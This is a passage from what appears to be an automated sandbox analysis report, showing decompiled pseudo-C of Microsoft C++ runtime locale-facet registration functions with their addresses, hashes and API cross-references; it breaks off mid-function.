Instruction Fuzzy Hash: A411BC7580812DCBCF00FBA4C840ABDB775EF49718F164009F614A72D4DBB199059BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F759, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F759(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t139;
				signed int _t140;
				void* _t152;
				void* _t165;
				void* _t178;
				void* _t191;
				void* _t204;
				void* _t217;
				void* _t230;
				void* _t243;
				signed int _t359;
				signed int _t390;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t394;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t399;
				signed int _t400;
				signed int _t401;
				signed int _t402;
				signed int _t403;
				signed int _t404;
				signed int _t405;
				signed int _t406;
				signed int _t407;
				signed int _t408;
				void* _t418;

				_t387 = __edx;
				_t296 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t418 - 0x14, 0);
				_t399 =  *0x6ddd6dc4; // 0x0
				 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
				 *(_t418 - 0x10) = _t399;
				_t139 = E6DCF161C(0x6ddd6d78);
				_t299 =  *((intOrPtr*)(_t418 + 8));
				_t140 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t139);
				_t389 = _t140;
				if(_t140 != 0) {
					L5:
					E6DD166BA(_t418 - 0x14);
					return E6DD30075(_t389);
				} else {
					if(_t399 == 0) {
						_push( *((intOrPtr*)(_t418 + 8)));
						_push(_t418 - 0x10);
						__eflags = E6DD212B4(__ebx, _t299, __edx, _t389, _t399) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t418 - 0x20);
							E6DD33D74(_t418 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t389, _t399, 0x14);
							E6DD16653(_t418 - 0x14, 0);
							_t400 =  *0x6ddd6dd8; // 0x0
							 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
							 *(_t418 - 0x10) = _t400;
							_t152 = E6DCF161C(0x6ddd6d84);
							_t306 =  *((intOrPtr*)(_t418 + 8));
							_t390 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t152);
							__eflags = _t390;
							if(_t390 != 0) {
								L12:
								E6DD166BA(_t418 - 0x14);
								return E6DD30075(_t390);
							} else {
								__eflags = _t400;
								if(_t400 == 0) {
									_push( *((intOrPtr*)(_t418 + 8)));
									_push(_t418 - 0x10);
									__eflags = E6DD21339(_t296, _t306, __edx, _t390, _t400) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t418 - 0x20);
										E6DD33D74(_t418 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t296, _t390, _t400, 0x14);
										E6DD16653(_t418 - 0x14, 0);
										_t401 =  *0x6ddd6db0; // 0x0
										 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
										 *(_t418 - 0x10) = _t401;
										_t165 = E6DCF161C(0x6ddd6d64);
										_t313 =  *((intOrPtr*)(_t418 + 8));
										_t391 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t165);
										__eflags = _t391;
										if(_t391 != 0) {
											L19:
											E6DD166BA(_t418 - 0x14);
											return E6DD30075(_t391);
										} else {
											__eflags = _t401;
											if(_t401 == 0) {
												_push( *((intOrPtr*)(_t418 + 8)));
												_push(_t418 - 0x10);
												__eflags = E6DD213A1(_t296, _t313, __edx, _t391, _t401) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t418 - 0x20);
													E6DD33D74(_t418 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t296, _t391, _t401, 0x14);
													E6DD16653(_t418 - 0x14, 0);
													_t402 =  *0x6ddd6ddc; // 0x0
													 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
													 *(_t418 - 0x10) = _t402;
													_t178 = E6DCF161C(0x6ddd6d88);
													_t320 =  *((intOrPtr*)(_t418 + 8));
													_t392 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t178);
													__eflags = _t392;
													if(_t392 != 0) {
														L26:
														E6DD166BA(_t418 - 0x14);
														return E6DD30075(_t392);
													} else {
														__eflags = _t402;
														if(_t402 == 0) {
															_push( *((intOrPtr*)(_t418 + 8)));
															_push(_t418 - 0x10);
															__eflags = E6DD21409(_t296, _t320, _t387, _t392, _t402) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t418 - 0x20);
																E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t296, _t392, _t402, 0x14);
																E6DD16653(_t418 - 0x14, 0);
																_t403 =  *0x6ddd6de0; // 0x0
																 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																 *(_t418 - 0x10) = _t403;
																_t191 = E6DCF161C(0x6ddd6d8c);
																_t327 =  *((intOrPtr*)(_t418 + 8));
																_t393 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t191);
																__eflags = _t393;
																if(_t393 != 0) {
																	L33:
																	E6DD166BA(_t418 - 0x14);
																	return E6DD30075(_t393);
																} else {
																	__eflags = _t403;
																	if(_t403 == 0) {
																		_push( *((intOrPtr*)(_t418 + 8)));
																		_push(_t418 - 0x10);
																		__eflags = E6DD21471(_t296, _t327, _t387, _t393, _t403) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t418 - 0x20);
																			E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t296, _t393, _t403, 0x14);
																			E6DD16653(_t418 - 0x14, 0);
																			_t404 =  *0x6ddd6dfc; // 0x0
																			 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																			 *(_t418 - 0x10) = _t404;
																			_t204 = E6DCF161C(0x6ddd6da8);
																			_t334 =  *((intOrPtr*)(_t418 + 8));
																			_t394 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t204);
																			__eflags = _t394;
																			if(_t394 != 0) {
																				L40:
																				E6DD166BA(_t418 - 0x14);
																				return E6DD30075(_t394);
																			} else {
																				__eflags = _t404;
																				if(_t404 == 0) {
																					_push( *((intOrPtr*)(_t418 + 8)));
																					_push(_t418 - 0x10);
																					__eflags = E6DD214EC(_t296, _t334, _t387, _t394, _t404) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t418 - 0x20);
																						E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t296, _t394, _t404, 0x14);
																						E6DD16653(_t418 - 0x14, 0);
																						_t405 =  *0x6ddd6dcc; // 0x0
																						 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																						 *(_t418 - 0x10) = _t405;
																						_t217 = E6DCF161C(0x6ddd6d80);
																						_t341 =  *((intOrPtr*)(_t418 + 8));
																						_t395 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t217);
																						__eflags = _t395;
																						if(_t395 != 0) {
																							L47:
																							E6DD166BA(_t418 - 0x14);
																							return E6DD30075(_t395);
																						} else {
																							__eflags = _t405;
																							if(_t405 == 0) {
																								_push( *((intOrPtr*)(_t418 + 8)));
																								_push(_t418 - 0x10);
																								__eflags = E6DD21558(_t296, _t341, _t387, _t395, _t405) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t418 - 0x20);
																									E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t296, _t395, _t405, 0x14);
																									E6DD16653(_t418 - 0x14, 0);
																									_t406 =  *0x6ddd6e00; // 0x0
																									 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																									 *(_t418 - 0x10) = _t406;
																									_t230 = E6DCF161C(0x6ddd6dac);
																									_t348 =  *((intOrPtr*)(_t418 + 8));
																									_t396 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t230);
																									__eflags = _t396;
																									if(_t396 != 0) {
																										L54:
																										E6DD166BA(_t418 - 0x14);
																										return E6DD30075(_t396);
																									} else {
																										__eflags = _t406;
																										if(_t406 == 0) {
																											_push( *((intOrPtr*)(_t418 + 8)));
																											_push(_t418 - 0x10);
																											__eflags = E6DD215C4(_t296, _t348, _t387, _t396, _t406) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t418 - 0x20);
																												E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t296, _t396, _t406, 0x14);
																												E6DD16653(_t418 - 0x14, 0);
																												_t407 =  *0x6ddd6dd0; // 0x0
																												 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																												 *(_t418 - 0x10) = _t407;
																												_t243 = E6DCF161C(0x6ddd6d60);
																												_t355 =  *((intOrPtr*)(_t418 + 8));
																												_t397 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t243);
																												__eflags = _t397;
																												if(_t397 != 0) {
																													L61:
																													E6DD166BA(_t418 - 0x14);
																													return E6DD30075(_t397);
																												} else {
																													__eflags = _t407;
																													if(_t407 == 0) {
																														_push( *((intOrPtr*)(_t418 + 8)));
																														_push(_t418 - 0x10);
																														__eflags = E6DD2162A(_t296, _t355, _t387, _t397, _t407) - 0xffffffff;
																														if(__eflags == 0) {
																															_t359 = _t418 - 0x20;
																															E6DCF1438(_t359);
																															E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd7851f, _t296, _t397, _t407, 4);
																															_t408 = _t359;
																															 *(_t418 - 0x10) = _t408;
																															 *((intOrPtr*)(_t408 + 4)) =  *((intOrPtr*)(_t418 + 0xc));
																															_push( *((intOrPtr*)(_t418 + 0x14)));
																															_t133 = _t418 - 4;
																															 *_t133 =  *(_t418 - 4) & 0x00000000;
																															__eflags =  *_t133;
																															 *_t408 = 0x6dd7c0c4;
																															 *((char*)(_t408 + 0x28)) =  *((intOrPtr*)(_t418 + 0x10));
																															E6DD2542F(_t296, _t359, _t387, _t397, _t408,  *_t133);
																															return E6DD30075(_t408,  *((intOrPtr*)(_t418 + 8)));
																														} else {
																															_t397 =  *(_t418 - 0x10);
																															 *(_t418 - 0x10) = _t397;
																															 *(_t418 - 4) = 1;
																															E6DD16FD3(__eflags, _t397);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t397 + 4))))();
																															 *0x6ddd6dd0 = _t397;
																															goto L61;
																														}
																													} else {
																														_t397 = _t407;
																														goto L61;
																													}
																												}
																											} else {
																												_t396 =  *(_t418 - 0x10);
																												 *(_t418 - 0x10) = _t396;
																												 *(_t418 - 4) = 1;
																												E6DD16FD3(__eflags, _t396);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t396 + 4))))();
																												 *0x6ddd6e00 = _t396;
																												goto L54;
																											}
																										} else {
																											_t396 = _t406;
																											goto L54;
																										}
																									}
																								} else {
																									_t395 =  *(_t418 - 0x10);
																									 *(_t418 - 0x10) = _t395;
																									 *(_t418 - 4) = 1;
																									E6DD16FD3(__eflags, _t395);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t395 + 4))))();
																									 *0x6ddd6dcc = _t395;
																									goto L47;
																								}
																							} else {
																								_t395 = _t405;
																								goto L47;
																							}
																						}
																					} else {
																						_t394 =  *(_t418 - 0x10);
																						 *(_t418 - 0x10) = _t394;
																						 *(_t418 - 4) = 1;
																						E6DD16FD3(__eflags, _t394);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t394 + 4))))();
																						 *0x6ddd6dfc = _t394;
																						goto L40;
																					}
																				} else {
																					_t394 = _t404;
																					goto L40;
																				}
																			}
																		} else {
																			_t393 =  *(_t418 - 0x10);
																			 *(_t418 - 0x10) = _t393;
																			 *(_t418 - 4) = 1;
																			E6DD16FD3(__eflags, _t393);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t393 + 4))))();
																			 *0x6ddd6de0 = _t393;
																			goto L33;
																		}
																	} else {
																		_t393 = _t403;
																		goto L33;
																	}
																}
															} else {
																_t392 =  *(_t418 - 0x10);
																 *(_t418 - 0x10) = _t392;
																 *(_t418 - 4) = 1;
																E6DD16FD3(__eflags, _t392);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t392 + 4))))();
																 *0x6ddd6ddc = _t392;
																goto L26;
															}
														} else {
															_t392 = _t402;
															goto L26;
														}
													}
												} else {
													_t391 =  *(_t418 - 0x10);
													 *(_t418 - 0x10) = _t391;
													 *(_t418 - 4) = 1;
													E6DD16FD3(__eflags, _t391);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t391 + 4))))();
													 *0x6ddd6db0 = _t391;
													goto L19;
												}
											} else {
												_t391 = _t401;
												goto L19;
											}
										}
									} else {
										_t390 =  *(_t418 - 0x10);
										 *(_t418 - 0x10) = _t390;
										 *(_t418 - 4) = 1;
										E6DD16FD3(__eflags, _t390);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t390 + 4))))();
										 *0x6ddd6dd8 = _t390;
										goto L12;
									}
								} else {
									_t390 = _t400;
									goto L12;
								}
							}
						} else {
							_t389 =  *(_t418 - 0x10);
							 *(_t418 - 0x10) = _t389;
							 *(_t418 - 4) = 1;
							E6DD16FD3(__eflags, _t389);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t389 + 4))))();
							 *0x6ddd6dc4 = _t389;
							goto L5;
						}
					} else {
						_t389 = _t399;
						goto L5;
					}
				}
			}

0x6dd1f759
0x6dd1f759
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78a
0x6dd1f78f
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797

APIs

__EH_prolog3.LIBCMT ref: 6DD1F760
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F76A
int.LIBCPMT ref: 6DD1F781

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD1F7A4
std::_Facet_Register.LIBCPMT ref: 6DD1F7BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F7DB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F7F9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: fd072fecd6a0f595d7237063df9fbf0abb8016d8833bf3f7aaa1947d35b9d678
Instruction ID: 15822c576466e6c673103d0c94a26dbe718c989db93e3eb03cdcd0b5e14ec0a2
Opcode Fuzzy Hash: fd072fecd6a0f595d7237063df9fbf0abb8016d8833bf3f7aaa1947d35b9d678
Instruction Fuzzy Hash: 5C119A7690812D9BCF01FBA4DC40AEDB7B4EF95324F260149F610AB290DB749A05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B74C, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD2B74C(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t125;
				signed int _t126;
				void* _t138;
				void* _t151;
				void* _t164;
				void* _t177;
				void* _t190;
				void* _t203;
				void* _t216;
				signed int _t321;
				signed int _t349;
				signed int _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t360;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				void* _t374;

				_t346 = __edx;
				_t265 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t374 - 0x14, 0);
				_t357 =  *0x6ddd6e28; // 0x0
				 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
				 *(_t374 - 0x10) = _t357;
				_t125 = E6DCF161C(0x6ddd6e08);
				_t268 =  *((intOrPtr*)(_t374 + 8));
				_t126 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t125);
				_t348 = _t126;
				if(_t126 != 0) {
					L5:
					E6DD166BA(_t374 - 0x14);
					return E6DD30075(_t348);
				} else {
					if(_t357 == 0) {
						_push( *((intOrPtr*)(_t374 + 8)));
						_push(_t374 - 0x10);
						__eflags = E6DD2BF46(__ebx, _t268, __edx, _t348, _t357) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t374 - 0x20);
							E6DD33D74(_t374 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t348, _t357, 0x14);
							E6DD16653(_t374 - 0x14, 0);
							_t358 =  *0x6ddd6e2c; // 0x0
							 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
							 *(_t374 - 0x10) = _t358;
							_t138 = E6DCF161C(0x6ddd6e0c);
							_t275 =  *((intOrPtr*)(_t374 + 8));
							_t349 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t138);
							__eflags = _t349;
							if(_t349 != 0) {
								L12:
								E6DD166BA(_t374 - 0x14);
								return E6DD30075(_t349);
							} else {
								__eflags = _t358;
								if(_t358 == 0) {
									_push( *((intOrPtr*)(_t374 + 8)));
									_push(_t374 - 0x10);
									__eflags = E6DD2BFE8(_t265, _t275, __edx, _t349, _t358) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t374 - 0x20);
										E6DD33D74(_t374 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t265, _t349, _t358, 0x14);
										E6DD16653(_t374 - 0x14, 0);
										_t359 =  *0x6ddd6e30; // 0x0
										 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
										 *(_t374 - 0x10) = _t359;
										_t151 = E6DCF161C(0x6ddd6e10);
										_t282 =  *((intOrPtr*)(_t374 + 8));
										_t350 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t151);
										__eflags = _t350;
										if(_t350 != 0) {
											L19:
											E6DD166BA(_t374 - 0x14);
											return E6DD30075(_t350);
										} else {
											__eflags = _t359;
											if(_t359 == 0) {
												_push( *((intOrPtr*)(_t374 + 8)));
												_push(_t374 - 0x10);
												__eflags = E6DD2C050(_t265, _t282, __edx, _t350, _t359) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t374 - 0x20);
													E6DD33D74(_t374 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t265, _t350, _t359, 0x14);
													E6DD16653(_t374 - 0x14, 0);
													_t360 =  *0x6ddd6e34; // 0x0
													 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
													 *(_t374 - 0x10) = _t360;
													_t164 = E6DCF161C(0x6ddd6e14);
													_t289 =  *((intOrPtr*)(_t374 + 8));
													_t351 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t164);
													__eflags = _t351;
													if(_t351 != 0) {
														L26:
														E6DD166BA(_t374 - 0x14);
														return E6DD30075(_t351);
													} else {
														__eflags = _t360;
														if(_t360 == 0) {
															_push( *((intOrPtr*)(_t374 + 8)));
															_push(_t374 - 0x10);
															__eflags = E6DD2C0B8(_t265, _t289, _t346, _t351, _t360) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t374 - 0x20);
																E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t265, _t351, _t360, 0x14);
																E6DD16653(_t374 - 0x14, 0);
																_t361 =  *0x6ddd6e3c; // 0x0
																 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																 *(_t374 - 0x10) = _t361;
																_t177 = E6DCF161C(0x6ddd6e1c);
																_t296 =  *((intOrPtr*)(_t374 + 8));
																_t352 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t177);
																__eflags = _t352;
																if(_t352 != 0) {
																	L33:
																	E6DD166BA(_t374 - 0x14);
																	return E6DD30075(_t352);
																} else {
																	__eflags = _t361;
																	if(_t361 == 0) {
																		_push( *((intOrPtr*)(_t374 + 8)));
																		_push(_t374 - 0x10);
																		__eflags = E6DD2C120(_t265, _t296, _t346, _t352, _t361) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t374 - 0x20);
																			E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t265, _t352, _t361, 0x14);
																			E6DD16653(_t374 - 0x14, 0);
																			_t362 =  *0x6ddd6e38; // 0x0
																			 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																			 *(_t374 - 0x10) = _t362;
																			_t190 = E6DCF161C(0x6ddd6e18);
																			_t303 =  *((intOrPtr*)(_t374 + 8));
																			_t353 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t190);
																			__eflags = _t353;
																			if(_t353 != 0) {
																				L40:
																				E6DD166BA(_t374 - 0x14);
																				return E6DD30075(_t353);
																			} else {
																				__eflags = _t362;
																				if(_t362 == 0) {
																					_push( *((intOrPtr*)(_t374 + 8)));
																					_push(_t374 - 0x10);
																					__eflags = E6DD2C1A4(_t265, _t303, _t346, _t353, _t362) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t374 - 0x20);
																						E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t265, _t353, _t362, 0x14);
																						E6DD16653(_t374 - 0x14, 0);
																						_t363 =  *0x6ddd6e40; // 0x0
																						 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																						 *(_t374 - 0x10) = _t363;
																						_t203 = E6DCF161C(0x6ddd6e20);
																						_t310 =  *((intOrPtr*)(_t374 + 8));
																						_t354 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t203);
																						__eflags = _t354;
																						if(_t354 != 0) {
																							L47:
																							E6DD166BA(_t374 - 0x14);
																							return E6DD30075(_t354);
																						} else {
																							__eflags = _t363;
